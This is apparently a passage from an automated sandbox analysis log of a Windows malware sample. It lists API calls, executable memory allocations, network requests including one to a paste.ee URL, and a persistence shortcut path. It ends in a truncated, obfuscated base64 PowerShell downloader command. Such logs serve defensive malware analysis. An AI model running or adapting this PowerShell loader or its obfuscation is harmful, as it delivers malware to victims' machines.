 buffer: <INVALID POINTER>
crypto_handle: 0x0050ff30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050ff30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050ff30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005101b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005104b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00510270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005102f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005102f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ff6b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ffc70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ffc70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ffc70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ff3f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ff3f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ff3f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ff3f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ff3f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ff3f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://paste.ee/d/9thzE
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 2097152
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02720000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2212
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2212
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02492000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02720000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027cb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027cd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027ce000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027cf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -command "$Codigo = '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